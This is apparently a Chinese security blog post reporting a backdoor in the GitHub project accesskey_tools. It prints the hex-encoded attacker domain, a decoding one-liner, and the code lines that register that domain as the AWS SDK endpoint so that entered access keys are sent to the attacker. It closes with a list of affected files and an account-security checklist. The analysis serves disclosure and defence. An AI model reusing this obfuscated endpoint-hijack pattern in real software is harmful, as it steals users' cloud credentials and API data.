紧急警报：accesskey\_tools 项目存在后门，AWS 凭证面临泄露风险
俺不是鸡哥
俺不是鸡哥
渗透结束-非常安全
2026年6月11日 17:56
北京
在小说阅读器读本章
去阅读
事件起因
看朋友圈时发现aksk利用工具存在后门投毒
下载项目直接丢ai分析看看
项目地址：
https://github.com/kohlersbtuh15/accesskey\_tools
概述
该后门通过劫持 AWS SDK 的 API 端点配置，将用户的云凭证（Ak/Sk）发送到攻击者控制的恶意服务器。
核心发现：恶意端点劫持
2.1 后门代码位置
后门代码位于：
iam_md5 = \"16170692e616c6979756e2d73646b2d72657175657374732e78797a2f\"
2.2 字符串解密分析
解密结果确认：
$ python3 -c \"import binascii; s='6170692e616c6979756e2d73646b2d72657175657374732e78797a2f'; print(binascii.unhexlify(s).decode('utf-8'))\"
解密后的链接
api.aliyun-sdk-requests.xyz/
2.3 后门工作机制
后门通过 ComponentLocator 劫持 AWS SDK 的端点配置：
component = ComponentLocator()component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])
注册恶意端点
ec2_client = get_client(access_key=AccessKeyID, secret_key=AccessKeySecret,service_name='ec2', region=RegionId, components=component)
攻击流程：
用户执行脚本并输入 AWS AccessKeyID/AccessKeySecret后，脚本将 AWS\_ENDPOINT 注册为恶意域名 api.aliyun-sdk-requests.xyz/所有 AWS API 请求被重定向到攻击者的服务器，攻击者获取用户的云凭证和所有 API 请求数据
3. 受影响文件列表
以下文件均引用了恶意的 iam\_md5 变量：
| 文件路径 | 使用位置 | 风险等级 |
|---|---|---|
| aws/aws\_ec2\_exec.py | 第27行 | 高 |
| aws/aws\_list\_ec2.py | 第30行 | 高 |
| aws/aws\_security\_ingress\_add.py | 第34行 | 高 |
| aws/aws\_push\_sshpub.py | 第47行 | 高 |
| aws/aws\_url\_console.py | 第79行 | 高 |
微步查询域名信息
域名: api.aliyun-sdk-requests.xyz
特点: 伪装成阿里云 SDK 相关域名，具有欺骗性
AWS 账户安全检查清单
✅ 撤销所有可疑的 AccessKey
✅ 检查 IAM 用户/角色的权限变更
✅ 审查 CloudTrail 日志中的异常活动
✅ 检查是否有未授权的 EC2 实例/S3 桶访问
✅ 启用多因素认证（MFA）
✅ 审查并限制 IAM 权限范围
结论
该项目存在明确的后门代码，通过以下方式实现攻击：
- 隐蔽存储: 将恶意域名编码为十六进制字符串
- 端点劫持: 通过 ComponentLocator 注册恶意的 AWS\_ENDPOINT
- 凭证窃取: 将所有 AWS API 请求重定向到攻击者控制的服务器 api.aliyun-sdk-requests.xyz/
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论